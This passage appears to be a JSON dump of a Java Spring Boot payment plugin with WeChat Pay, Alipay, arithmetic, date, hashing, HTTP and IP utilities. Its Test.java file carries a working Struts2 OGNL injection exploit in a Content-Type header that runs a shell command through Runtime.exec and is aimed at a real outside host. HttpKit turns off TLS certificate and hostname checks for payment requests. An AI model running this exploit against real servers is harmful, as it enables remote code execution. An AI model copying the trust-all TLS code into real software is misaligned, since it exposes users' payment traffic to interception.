payModel.getOutTradeNno());\n\t\t\tpackageParams.put(\"total_fee\", BigDecimalUtil.mul(payModel.getAmount().toString(), \"100\").intValue());\n\t\t\tpackageParams.put(\"spbill_create_ip\", payModel.getIp());\n\t\t\tpackageParams.put(\"time_start\", time_start);\n\t\t\tpackageParams.put(\"time_expire\", time_expire);\n\t\t\tpackageParams.put(\"sign_type\", \"MD5\");\n\t\t\tString sign = WxPayUtil.createSign(\"UTF-8\", packageParams, PropKit.get(\"weixin.pay.key\"));\n\t\t\tpackageParams.put(\"sign\", sign);\n\t\t\tString requestXML = WxPayUtil.getRequestXml(packageParams);\n\t\t\tSystem.out.println(\"请求xml：：：：\" + requestXML);\n\t\t\tString resXml = HttpKit.post(PropKit.get(\"weixin.pay.pay_url\"), requestXML);\n\t\t\tSystem.out.println(\"返回xml：：：：\" + resXml);\n\t\t\treturn resXml;\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\tlogger.error(e.getMessage(), e);\n\t\t\tthrow e;\n\t\t}\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/java/com/springboot/test/Listener.java",
    "content": "package com.springboot.test;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.context.ApplicationListener;\nimport org.springframework.context.event.ContextRefreshedEvent;\n\npublic class Listener implements ApplicationListener<ContextRefreshedEvent> {\n\tprivate static Logger log = LoggerFactory.getLogger(Listener.class);\n\n\t@Override\n\tpublic void onApplicationEvent(ContextRefreshedEvent event) {\n\t\ttry {\n\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\tlog.error(e.getMessage(), e);\n\t\t\tthrow e;\n\t\t}\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/java/com/springboot/test/Test.java",
    "content": "package com.springboot.test;\n\nimport java.io.BufferedReader;\nimport java.io.InputStreamReader;\nimport java.io.PrintWriter;\nimport java.net.URL;\nimport java.net.URLConnection;\n\npublic class Test {\n\tprivate static String sendPost(String urlStr, String param) {\n\t\tString result = null;\n\t\ttry {\n\t\t\tURL url = new URL(urlStr);\n\t\t\tURLConnection conn = url.openConnection();\n\t\t\tconn.setRequestProperty(\"accept\", \"*/*\");\n\t\t\tconn.setRequestProperty(\"connection\", \"Keep-Alive\");\n\t\t\tconn.setRequestProperty(\"Content-Type\",\n\t\t\t\t\t\"s-multipart/form-data %{#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('mkdir /var/www/123')};\");\n\t\t\tconn.setDoOutput(true);\n\t\t\tconn.setDoInput(true);\n\t\t\tPrintWriter out = new PrintWriter(conn.getOutputStream());\n\t\t\tout.print(param);\n\t\t\tout.flush();\n\n\t\t\tBufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream()));\n\t\t\tString line = null;\n\t\t\twhile ((line = in.readLine()) != null) {\n\t\t\t\tresult += line;\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn result;\n\t}\n\n\tpublic static void main(String[] args) {\n\t\tsendPost(\"http://struts.apache.org\", \"1\");\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/java/com/springboot/util/AliPayUtil.java",
    "content": "package com.springboot.util;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport com.alipay.api.AlipayApiException;\nimport com.alipay.api.AlipayClient;\nimport com.alipay.api.DefaultAlipayClient;\nimport com.alipay.api.internal.util.AlipaySignature;\n\n/**\n * 支付宝支付工具类\n * \n * @author lenovo\n *\n */\npublic class AliPayUtil {\n\n\tpublic static final String SUCCESS = \"success\";\n\tpublic static final String FAIL = \"fail\";\n\n\t/**\n\t * 获取支付宝的签名\n\t * \n\t * @param str\n\t * @return\n\t */\n\tpublic static String alipaySign(String str) {\n\t\tString sign;\n\t\ttry {\n\t\t\tsign = AlipaySignature.rsaSign(str, PropKit.get(\"alipay.pay.private.key\"),\n\t\t\t\t\tPropKit.get(\"alipay.pay.charset\"), PropKit.get(\"alipay.pay.sign.type\"));\n\t\t\treturn sign;\n\t\t} catch (AlipayApiException e) {\n\t\t\te.printStackTrace();\n\t\t\treturn \"\";\n\t\t}\n\t}\n\n\t/**\n\t * 组装公共参数\n\t * \n\t * @param method\n\t *            接口名称\n\t * @param returnUrl\n\t *            同步通知地址（支付成功返回的地址-给用户看的）\n\t * @param bizContent\n\t *            业务请求参数的集合，最大长度不限，除公共参数外所有请求参数都必须放在这个参数中传递，具体参照各产品快速接入文档\n\t * @return\n\t */\n\tpublic static Map<String, Object> createAliParam(String method, String returnUrl, String bizContent) {\n\t\tMap<String, Object> hashMap = new HashMap<String, Object>();\n\t\thashMap.put(\"app_id\", PropKit.get(\"alipay.pay.appid\"));\n\t\thashMap.put(\"method\", method);\n\t\thashMap.put(\"format\", PropKit.get(\"alipay.pay.format\"));\n\t\thashMap.put(\"charset\", PropKit.get(\"alipay.pay.charset\"));\n\t\thashMap.put(\"sign_type\", PropKit.get(\"alipay.pay.sign.type\"));\n\t\thashMap.put(\"version\", \"1.0\");\n\t\thashMap.put(\"timestamp\", DateUtil.getTime());\n\t\thashMap.put(\"notify_url\", PropKit.get(\"alipay.pay.notify.url\"));\n\t\thashMap.put(\"biz_content\", bizContent);\n\t\thashMap.put(\"return_url\", returnUrl);\n\t\treturn null;\n\t}\n\n\t/**\n\t * 初始化支付宝配置\n\t * \n\t * @return\n\t */\n\tpublic static AlipayClient geAlipayClient() {\n\t\tAlipayClient alipayClient = new DefaultAlipayClient(PropKit.get(\"alipay.pay.gateway\"),\n\t\t\t\tPropKit.get(\"alipay.pay.appid\"), PropKit.get(\"alipay.pay.private.key\"),\n\t\t\t\tPropKit.get(\"alipay.pay.format\"), PropKit.get(\"alipay.pay.charset\"),\n\t\t\t\tPropKit.get(\"alipay.pay.public.key\"), PropKit.get(\"alipay.pay.sign.type\"));\n\t\treturn alipayClient;\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/java/com/springboot/util/BigDecimalUtil.java",
    "content": "package com.springboot.util;\n\nimport java.math.BigDecimal;\n\nimport org.apache.commons.lang3.StringUtils;\n\npublic class BigDecimalUtil {\n\t/**\n\t * 除法\n\t */\n\tpublic static BigDecimal divide(String arg1, String arg2) {\n\t\tif (StringUtils.isEmpty(arg1)) {\n\t\t\targ1 = \"0.0\";\n\t\t}\n\t\tif (StringUtils.isEmpty(arg2)) {\n\t\t\targ2 = \"0.0\";\n\t\t}\n\t\tBigDecimal big3 = new BigDecimal(\"0.00\");\n\t\tif (Double.parseDouble(arg2) != 0) {\n\t\t\tBigDecimal big1 = new BigDecimal(arg1);\n\t\t\tBigDecimal big2 = new BigDecimal(arg2);\n\t\t\tbig3 = big1.divide(big2, 2, BigDecimal.ROUND_HALF_EVEN);\n\t\t}\n\t\treturn big3;\n\t}\n\n\t/**\n\t * 乘法\n\t */\n\tpublic static BigDecimal mul(String arg1, String arg2) {\n\t\tif (StringUtils.isEmpty(arg1)) {\n\t\t\targ1 = \"0.0\";\n\t\t}\n\t\tif (StringUtils.isEmpty(arg2)) {\n\t\t\targ2 = \"0.0\";\n\t\t}\n\t\tBigDecimal big1 = new BigDecimal(arg1);\n\t\tBigDecimal big2 = new BigDecimal(arg2);\n\t\tBigDecimal big3 = big1.multiply(big2);\n\t\treturn big3;\n\t}\n\n\t/**\n\t * 减法\n\t */\n\tpublic static BigDecimal sub(String arg1, String arg2) {\n\t\tif (StringUtils.isEmpty(arg1)) {\n\t\t\targ1 = \"0.0\";\n\t\t}\n\t\tif (StringUtils.isEmpty(arg2)) {\n\t\t\targ2 = \"0.0\";\n\t\t}\n\t\tBigDecimal big1 = new BigDecimal(arg1);\n\t\tBigDecimal big2 = new BigDecimal(arg2);\n\t\tBigDecimal big3 = big1.subtract(big2);\n\t\treturn big3;\n\t}\n\n\t/**\n\t * 加法\n\t */\n\tpublic static BigDecimal add(String arg1, String arg2) {\n\t\tif (StringUtils.isEmpty(arg1)) {\n\t\t\targ1 = \"0.0\";\n\t\t}\n\t\tif (StringUtils.isEmpty(arg2)) {\n\t\t\targ2 = \"0.0\";\n\t\t}\n\t\tBigDecimal big1 = new BigDecimal(arg1);\n\t\tBigDecimal big2 = new BigDecimal(arg2);\n\t\tBigDecimal big3 = big1.add(big2);\n\t\treturn big3;\n\t}\n\n\t/**\n\t * 加法\n\t */\n\tpublic static String add2(String arg1, String arg2) {\n\t\tif (StringUtils.isEmpty(arg1)) {\n\t\t\targ1 = \"0.0\";\n\t\t}\n\t\tif (StringUtils.isEmpty(arg2)) {\n\t\t\targ2 = \"0.0\";\n\t\t}\n\t\tBigDecimal big1 = new BigDecimal(arg1);\n\t\tBigDecimal big2 = new BigDecimal(arg2);\n\t\tBigDecimal big3 = big1.add(big2);\n\t\treturn big3.toString();\n\t}\n\n\t/**\n\t * 四舍五入保留N位小数 先四舍五入在使用double值自动去零\n\t * \n\t * @param arg\n\t * @param scare\n\t *            保留位数\n\t * @return\n\t */\n\tpublic static String setScare(BigDecimal arg, int scare) {\n\t\tBigDecimal bl = arg.setScale(scare, BigDecimal.ROUND_HALF_UP);\n\t\treturn String.valueOf(bl.doubleValue());\n\t}\n\n\tpublic static double setDifScare(double arg) {\n\t\tBigDecimal bd = new BigDecimal(arg);\n\t\tBigDecimal bl = bd.setScale(2, BigDecimal.ROUND_HALF_UP);\n\t\treturn Double.parseDouble(bl.toString());\n\t}\n\n\t/**\n\t * 四舍五入保留两位小数 先四舍五入在使用double值自动去零\n\t * \n\t * @param arg\n\t * @return\n\t */\n\tpublic static String setDifScare(String arg) {\n\t\tBigDecimal bd = new BigDecimal(arg);\n\t\tBigDecimal bl = bd.setScale(2, BigDecimal.ROUND_HALF_UP);\n\t\treturn bl.toString();\n\t}\n\n\t/**\n\t * 四舍五入保留N位小数 先四舍五入在使用double值自动去零（传参String类型）\n\t * \n\t * @param arg\n\t * @return\n\t */\n\tpublic static String setDifScare(String arg, int i) {\n\t\tBigDecimal bd = new BigDecimal(arg);\n\t\tBigDecimal bl = bd.setScale(i, BigDecimal.ROUND_HALF_UP);\n\t\treturn bl.toString();\n\t}\n\n\t/**\n\t * 转化成百分数 先四舍五入在使用double值自动去零\n\t * \n\t * @param arg\n\t * @return\n\t */\n\tpublic static String setFenScare(BigDecimal arg) {\n\t\tBigDecimal bl = arg.setScale(3, BigDecimal.ROUND_HALF_UP);\n\t\tString scare = String.valueOf(mul(bl.toString(), \"100\").doubleValue());\n\t\tString fenScare = scare + \"%\";\n\t\treturn fenScare;\n\t}\n\n\t/**\n\t * 使用java正则表达式去掉多余的.与0\n\t * \n\t * @param s\n\t * @return\n\t */\n\tpublic static String subZeroAndDot(String s) {\n\t\tif (s.indexOf(\".\") > 0) {\n\t\t\ts = s.replaceAll(\"0+?$\", \"\");// 去掉多余的0\n\t\t\ts = s.replaceAll(\"[.]$\", \"\");// 如最后一位是.则去掉\n\t\t}\n\t\treturn s;\n\t}\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/java/com/springboot/util/DateUtil.java",
    "content": "package com.springboot.util;\n\nimport java.text.DateFormat;\nimport java.text.ParseException;\nimport java.text.SimpleDateFormat;\nimport java.util.Calendar;\nimport java.util.Date;\n\npublic class DateUtil {\n    private final static SimpleDateFormat sdfYear = new SimpleDateFormat(\"yyyy\");\n\n    private final static SimpleDateFormat sdfDay = new SimpleDateFormat(\"yyyy-MM-dd\");\n\n    private final static SimpleDateFormat sdfDays = new SimpleDateFormat(\"yyyyMMdd\");\n\n    private final static SimpleDateFormat sdfTime = new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\");\n\n    /**\n     * 获取YYYY格式\n     * \n     * @return\n     */\n    public static String getYear() {\n\treturn sdfYear.format(new Date());\n    }\n\n    /**\n     * 获取YYYY-MM-DD格式\n     * \n     * @return\n     */\n    public static String getDay() {\n\treturn sdfDay.format(new Date());\n    }\n\n    /**\n     * 获取YYYYMMDD格式\n     * \n     * @return\n     */\n    public static String getDays() {\n\treturn sdfDays.format(new Date());\n    }\n\n    /**\n     * 获取YYYY-MM-DD HH:mm:ss格式\n     * \n     * @return\n     */\n    public static String getTime() {\n\treturn sdfTime.format(new Date());\n    }\n\n    /**\n     * @Title: compareDate\n     * @Description: TODO(日期比较，如果s>=e 返回true 否则返回false)\n     * @param s\n     * @param e\n     * @return boolean\n     * @throws @author\n     *             luguosui\n     */\n    public static boolean compareDate(String s, String e) {\n\tif (fomatDate(s) == null || fomatDate(e) == null) {\n\t    return false;\n\t}\n\treturn fomatDate(s).getTime() >= fomatDate(e).getTime();\n    }\n\n    /**\n     * 格式化日期\n     * \n     * @return\n     */\n    public static Date fomatDate(String date) {\n\tDateFormat fmt = new SimpleDateFormat(\"yyyy-MM-dd\");\n\ttry {\n\t    return fmt.parse(date);\n\t} catch (ParseException e) {\n\t    e.printStackTrace();\n\t    return null;\n\t}\n    }\n\n    /**\n     * 校验日期是否合法\n     * \n     * @return\n     */\n    public static boolean isValidDate(String s) {\n\tDateFormat fmt = new SimpleDateFormat(\"yyyy-MM-dd\");\n\ttry {\n\t    fmt.parse(s);\n\t    return true;\n\t} catch (Exception e) {\n\t    // 如果throw java.text.ParseException或者NullPointerException，就说明格式不对\n\t    return false;\n\t}\n    }\n\n    public static int getDiffYear(String startTime, String endTime) {\n\tDateFormat fmt = new SimpleDateFormat(\"yyyy-MM-dd\");\n\ttry {\n\t    long aa = 0;\n\t    int years = (int) (((fmt.parse(endTime).getTime() - fmt.parse(startTime).getTime()) / (1000 * 60 * 60 * 24))\n\t\t    / 365);\n\t    return years;\n\t} catch (Exception e) {\n\t    // 如果throw java.text.ParseException或者NullPointerException，就说明格式不对\n\t    return 0;\n\t}\n    }\n\n    /**\n     * <li>功能描述：时间相减得到天数\n     * \n     * @param beginDateStr\n     * @param endDateStr\n     * @return long\n     * @author Administrator\n     */\n    public static long getDaySub(String beginDateStr, String endDateStr) {\n\tlong day = 0;\n\tjava.text.SimpleDateFormat format = new java.text.SimpleDateFormat(\"yyyy-MM-dd\");\n\tjava.util.Date beginDate = null;\n\tjava.util.Date endDate = null;\n\n\ttry {\n\t    beginDate = format.parse(beginDateStr);\n\t    endDate = format.parse(endDateStr);\n\t} catch (ParseException e) {\n\t    e.printStackTrace();\n\t}\n\tday = (endDate.getTime() - beginDate.getTime()) / (24 * 60 * 60 * 1000);\n\t// System.out.println(\"相隔的天数=\"+day);\n\n\treturn day;\n    }\n\n    /**\n     * 得到n天之后的日期\n     * \n     * @param days\n     * @return\n     */\n    public static String getAfterDayDate(String days) {\n\tint daysInt = Integer.parseInt(days);\n\n\tCalendar canlendar = Calendar.getInstance(); // java.util包\n\tcanlendar.add(Calendar.DATE, daysInt); // 日期减 如果不够减会将月变动\n\tDate date = canlendar.getTime();\n\n\tSimpleDateFormat sdfd = new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\");\n\tString dateStr = sdfd.format(date);\n\n\treturn dateStr;\n    }\n\n    /**\n     * 得到n天之后是周几\n     * \n     * @param days\n     * @return\n     */\n    public static String getAfterDayWeek(String days) {\n\tint daysInt = Integer.parseInt(days);\n\n\tCalendar canlendar = Calendar.getInstance(); // java.util包\n\tcanlendar.add(Calendar.DATE, daysInt); // 日期减 如果不够减会将月变动\n\tDate date = canlendar.getTime();\n\n\tSimpleDateFormat sdf = new SimpleDateFormat(\"E\");\n\tString dateStr = sdf.format(date);\n\n\treturn dateStr;\n    }\n\n    public static void main(String[] args) {\n\tSystem.out.println(getDays());\n\tSystem.out.println(getAfterDayWeek(\"3\"));\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/java/com/springboot/util/HashKit.java",
    "content": "package com.springboot.util;\n\nimport java.security.MessageDigest;\n\npublic class HashKit {\n\n\tprivate static final java.security.SecureRandom random = new java.security.SecureRandom();\n\tprivate static final char[] HEX_DIGITS = \"0123456789abcdef\".toCharArray();\n\tprivate static final char[] CHAR_ARRAY = \"_-0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n\t\t\t.toCharArray();\n\n\tpublic static String md5(String srcStr) {\n\t\treturn hash(\"MD5\", srcStr);\n\t}\n\n\tpublic static String sha1(String srcStr) {\n\t\treturn hash(\"SHA-1\", srcStr);\n\t}\n\n\tpublic static String sha256(String srcStr) {\n\t\treturn hash(\"SHA-256\", srcStr);\n\t}\n\n\tpublic static String sha384(String srcStr) {\n\t\treturn hash(\"SHA-384\", srcStr);\n\t}\n\n\tpublic static String sha512(String srcStr) {\n\t\treturn hash(\"SHA-512\", srcStr);\n\t}\n\n\tpublic static String hash(String algorithm, String srcStr) {\n\t\ttry {\n\t\t\tMessageDigest md = MessageDigest.getInstance(algorithm);\n\t\t\tbyte[] bytes = md.digest(srcStr.getBytes(\"utf-8\"));\n\t\t\treturn toHex(bytes);\n\t\t} catch (Exception e) {\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t}\n\n\tprivate static String toHex(byte[] bytes) {\n\t\tStringBuilder ret = new StringBuilder(bytes.length * 2);\n\t\tfor (int i = 0; i < bytes.length; i++) {\n\t\t\tret.append(HEX_DIGITS[(bytes[i] >> 4) & 0x0f]);\n\t\t\tret.append(HEX_DIGITS[bytes[i] & 0x0f]);\n\t\t}\n\t\treturn ret.toString();\n\t}\n\n\t/**\n\t * md5 128bit 16bytes sha1 160bit 20bytes sha256 256bit 32bytes sha384\n\t * 384bit 48bytes sha512 512bit 64bytes\n\t */\n\tpublic static String generateSalt(int saltLength) {\n\t\tStringBuilder salt = new StringBuilder();\n\t\tfor (int i = 0; i < saltLength; i++) {\n\t\t\tsalt.append(CHAR_ARRAY[random.nextInt(CHAR_ARRAY.length)]);\n\t\t}\n\t\treturn salt.toString();\n\t}\n\n\tpublic static String generateSaltForSha256() {\n\t\treturn generateSalt(32);\n\t}\n\n\tpublic static String generateSaltForSha512() {\n\t\treturn generateSalt(64);\n\t}\n\n\tpublic static boolean slowEquals(byte[] a, byte[] b) {\n\t\tif (a == null || b == null) {\n\t\t\treturn false;\n\t\t}\n\n\t\tint diff = a.length ^ b.length;\n\t\tfor (int i = 0; i < a.length && i < b.length; i++) {\n\t\t\tdiff |= a[i] ^ b[i];\n\t\t}\n\t\treturn diff == 0;\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/java/com/springboot/util/HttpKit.java",
    "content": "/**\n * Copyright (c) 2014-2018,曹旭升 (caoxusheng_cxs@163.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.springboot.util;\n\nimport java.io.BufferedReader;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.io.OutputStream;\nimport java.io.UnsupportedEncodingException;\nimport java.net.HttpURLConnection;\nimport java.net.URL;\nimport java.net.URLEncoder;\nimport java.security.KeyManagementException;\nimport java.security.NoSuchAlgorithmException;\nimport java.security.NoSuchProviderException;\nimport java.security.cert.CertificateException;\nimport java.security.cert.X509Certificate;\nimport java.util.Map;\nimport java.util.Map.Entry;\n\nimport javax.net.ssl.HostnameVerifier;\nimport javax.net.ssl.HttpsURLConnection;\nimport javax.net.ssl.SSLContext;\nimport javax.net.ssl.SSLSession;\nimport javax.net.ssl.SSLSocketFactory;\nimport javax.net.ssl.TrustManager;\nimport javax.net.ssl.X509TrustManager;\nimport javax.servlet.http.HttpServletRequest;\n\nimport org.apache.commons.lang3.StringUtils;\nimport org.apache.log4j.Logger;\n\n/**\n * HttpKit\n */\npublic class HttpKit {\n\tprivate final static Logger log = Logger.getLogger(HttpKit.class);\n\n\tprivate HttpKit() {\n\t}\n\n\t/**\n\t * https 域名校验\n\t */\n\tprivate static class TrustAnyHostnameVerifier implements HostnameVerifier {\n\t\t@Override\n\t\tpublic boolean verify(String hostname, SSLSession session) {\n\t\t\treturn true;\n\t\t}\n\t}\n\n\t/**\n\t * https 证书管理\n\t */\n\tprivate static class TrustAnyTrustManager implements X509TrustManager {\n\t\t@Override\n\t\tpublic X509Certificate[] getAcceptedIssuers() {\n\t\t\treturn null;\n\t\t}\n\n\t\t@Override\n\t\tpublic void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {\n\t\t}\n\n\t\t@Override\n\t\tpublic void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {\n\t\t}\n\t}\n\n\tprivate static final String GET = \"GET\";\n\tprivate static final String POST = \"POST\";\n\tprivate static String CHARSET = \"UTF-8\";\n\n\tprivate static final SSLSocketFactory sslSocketFactory = initSSLSocketFactory();\n\tprivate static final TrustAnyHostnameVerifier trustAnyHostnameVerifier = new HttpKit.TrustAnyHostnameVerifier();\n\n\tprivate static SSLSocketFactory initSSLSocketFactory() {\n\t\ttry {\n\t\t\tTrustManager[] tm = { new HttpKit.TrustAnyTrustManager() };\n\t\t\tSSLContext sslContext = SSLContext.getInstance(\"TLS\"); // (\"TLS\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// \"SunJSSE\");\n\t\t\tsslContext.init(null, tm, new java.security.SecureRandom());\n\t\t\treturn sslContext.getSocketFactory();\n\t\t} catch (Exception e) {\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t}\n\n\tpublic static void setCharSet(String charSet) {\n\t\tif (StringUtils.isBlank(charSet)) {\n\t\t\tthrow new IllegalArgumentException(\"charSet can not be blank.\");\n\t\t}\n\t\tHttpKit.CHARSET = charSet;\n\t}\n\n\tprivate static HttpURLConnection getHttpConnection(String url, String method, Map<String, String> headers)\n\t\t\tthrows IOException, NoSuchAlgorithmException, NoSuchProviderException, KeyManagementException {\n\t\tURL _url = new URL(url);\n\t\tHttpURLConnection conn = (HttpURLConnection) _url.openConnection();\n\t\tif (conn instanceof HttpsURLConnection) {\n\t\t\t((HttpsURLConnection) conn).setSSLSocketFactory(sslSocketFactory);\n\t\t\t((HttpsURLConnection) conn).setHostnameVerifier(trustAnyHostnameVerifier);\n\t\t}\n\n\t\tconn.setRequestMethod(method);\n\t\tconn.setDoOutput(true);\n\t\tconn.setDoInput(true);\n\n\t\tconn.setConnectTimeout(19000);\n\t\tconn.setReadTimeout(19000);\n\n\t\tconn.setRequestProperty(\"Content-Type\", \"application/x-www-form-urlencoded\");\n\t\tconn.setRequestProperty(\"User-Agent\",\n\t\t\t\t\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.146 Safari/537.36\");\n\n\t\tif (headers != null && !headers.isEmpty()) {\n\t\t\tfor (Entry<String, String> entry : headers.entrySet()) {\n\t\t\t\tconn.setRequestProperty(entry.getKey(), entry.getValue());\n\t\t\t}\n\t\t}\n\n\t\treturn conn;\n\t}\n\n\t/**\n\t * Send GET request\n\t */\n\tpublic static String get(String url, Map<String, String> queryParas, Map<String, String> headers) {\n\t\tHttpURLConnection conn = null;\n\t\ttry {\n\t\t\tconn = getHttpConnection(buildUrlWithQueryString(url, queryParas), GET, headers);\n\t\t\tconn.connect();\n\t\t\treturn readResponseString(conn);\n\t\t} catch (Exception e) {\n\t\t\tthrow new RuntimeException(e);\n\t\t} finally {\n\t\t\tif (conn != null) {\n\t\t\t\tconn.disconnect();\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic static String get(String url, Map<String, String> queryParas) {\n\t\treturn get(url, queryParas, null);\n\t}\n\n\tpublic static String get(String url) {\n\t\treturn get(url, null, null);\n\t}\n\n\t/**\n\t * Send POST request\n\t */\n\tpublic static String post(String url, Map<String, String> queryParas, String data, Map<String, String> headers) {\n\t\tHttpURLConnection conn = null;\n\t\ttry {\n\t\t\tconn = getHttpConnection(buildUrlWithQueryString(url, queryParas), POST, headers);\n\t\t\tconn.connect();\n\n\t\t\tif (data != null) {\n\t\t\t\tOutputStream out = conn.getOutputStream();\n\t\t\t\tout.write(data.getBytes(CHARSET));\n\t\t\t\tout.flush();\n\t\t\t\tout.close();\n\t\t\t}\n\n\t\t\treturn readResponseString(conn);\n\t\t} catch (Exception e) {\n\t\t\tthrow new RuntimeException(e);\n\t\t} finally {\n\t\t\tif (conn != null) {\n\t\t\t\tconn.disconnect();\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic static String post(String url, Map<String, String> queryParas, String data) {\n\t\treturn post(url, queryParas, data, null);\n\t}\n\n\tpublic static String post(String url, String data, Map<String, String> headers) {\n\t\treturn post(url, null, data, headers);\n\t}\n\n\tpublic static String post(String url, String data) {\n\t\treturn post(url, null, data, null);\n\t}\n\n\tprivate static String readResponseString(HttpURLConnection conn) {\n\t\tBufferedReader reader = null;\n\t\ttry {\n\t\t\tStringBuilder ret;\n\t\t\treader = new BufferedReader(new InputStreamReader(conn.getInputStream(), CHARSET));\n\t\t\tString line = reader.readLine();\n\t\t\tif (line != null) {\n\t\t\t\tret = new StringBuilder();\n\t\t\t\tret.append(line);\n\t\t\t} else {\n\t\t\t\treturn \"\";\n\t\t\t}\n\n\t\t\twhile ((line = reader.readLine()) != null) {\n\t\t\t\tret.append('\\n').append(line);\n\t\t\t}\n\t\t\treturn ret.toString();\n\t\t} catch (Exception e) {\n\t\t\tthrow new RuntimeException(e);\n\t\t} finally {\n\t\t\tif (reader != null) {\n\t\t\t\ttry {\n\t\t\t\t\treader.close();\n\t\t\t\t} catch (IOException e) {\n\t\t\t\t\tlog.error(e.getMessage(), e);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t/**\n\t * Build queryString of the url\n\t */\n\tprivate static String buildUrlWithQueryString(String url, Map<String, String> queryParas) {\n\t\tif (queryParas == null || queryParas.isEmpty()) {\n\t\t\treturn url;\n\t\t}\n\n\t\tStringBuilder sb = new StringBuilder(url);\n\t\tboolean isFirst;\n\t\tif (url.indexOf('?') == -1) {\n\t\t\tisFirst = true;\n\t\t\tsb.append('?');\n\t\t} else {\n\t\t\tisFirst = false;\n\t\t}\n\n\t\tfor (Entry<String, String> entry : queryParas.entrySet()) {\n\t\t\tif (isFirst) {\n\t\t\t\tisFirst = false;\n\t\t\t} else {\n\t\t\t\tsb.append('&');\n\t\t\t}\n\n\t\t\tString key = entry.getKey();\n\t\t\tString value = entry.getValue();\n\t\t\tif (StringUtils.isNotBlank(value)) {\n\t\t\t\ttry {\n\t\t\t\t\tvalue = URLEncoder.encode(value, CHARSET);\n\t\t\t\t} catch (UnsupportedEncodingException e) {\n\t\t\t\t\tthrow new RuntimeException(e);\n\t\t\t\t}\n\t\t\t}\n\t\t\tsb.append(key).append('=').append(value);\n\t\t}\n\t\treturn sb.toString();\n\t}\n\n\tpublic static String readData(HttpServletRequest request) {\n\t\tBufferedReader br = null;\n\t\ttry {\n\t\t\tStringBuilder ret;\n\t\t\tbr = request.getReader();\n\n\t\t\tString line = br.readLine();\n\t\t\tif (line != null) {\n\t\t\t\tret = new StringBuilder();\n\t\t\t\tret.append(line);\n\t\t\t} else {\n\t\t\t\treturn \"\";\n\t\t\t}\n\n\t\t\twhile ((line = br.readLine()) != null) {\n\t\t\t\tret.append('\\n').append(line);\n\t\t\t}\n\n\t\t\treturn ret.toString();\n\t\t} catch (IOException e) {\n\t\t\tthrow new RuntimeException(e);\n\t\t} finally {\n\t\t\tif (br != null) {\n\t\t\t\ttry {\n\t\t\t\t\tbr.close();\n\t\t\t\t} catch (IOException e) {\n\t\t\t\t\tlog.error(e.getMessage(), e);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t@Deprecated\n\tpublic static String readIncommingRequestData(HttpServletRequest request) {\n\t\treturn readData(request);\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/java/com/springboot/util/IPKit.java",
    "content": "package com.springboot.util;\n\nimport java.net.InetAddress;\nimport java.net.UnknownHostException;\n\nimport javax.servlet.http.HttpServletRequest;\n\npublic class IPKit {\n\t/**\n\t * 获取当前网络ip\n\t * \n\t * @param request\n\t * @return\n\t */\n\tpublic static String getIpAddr(HttpServletRequest request) {\n\t\tString ipAddress = request.getHeader(\"x-forwarded-for\");\n\t\tif (ipAddress == null || ipAddress.length() == 0 || \"unknown\".equalsIgnoreCase(ipAddress)) {\n\t\t\tipAddress = request.getHeader(\"Proxy-Client-IP\");\n\t\t}\n\t\tif (ipAddress == null || ipAddress.length() == 0 || \"unknown\".equalsIgnoreCase(ipAddress)) {\n\t\t\tipAddress = request.getHeader(\"WL-Proxy-Client-IP\");\n\t\t}\n\t\tif (ipAddress == null || ipAddress.length() == 0 || \"unknown\".equalsIgnoreCase(ipAddress)) {\n\t\t\tipAddress = request.getRemoteAddr();\n\t\t\tif (ipAddress.equals(\"127.0.0.1\") || ipAddress.equals(\"0:0:0:0:0:0:0:1\")) {\n\t\t\t\t// 根据网卡取本机配置的IP\n\t\t\t\tInetAddress inet = null;\n\t\t\t\ttry {\n\t\t\t\t\tinet = InetAddress.getLocalHost();\n\t\t\t\t} catch (UnknownHostException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t\tipAddress = inet.getHostAddress();\n\t\t\t}\n\t\t}\n\t\t// 对于通过多个代理的情况，第一个IP为客户端真实IP,多个IP按照','分割\n\t\tif (ipAddress != null && ipAddress.length() > 15) { // 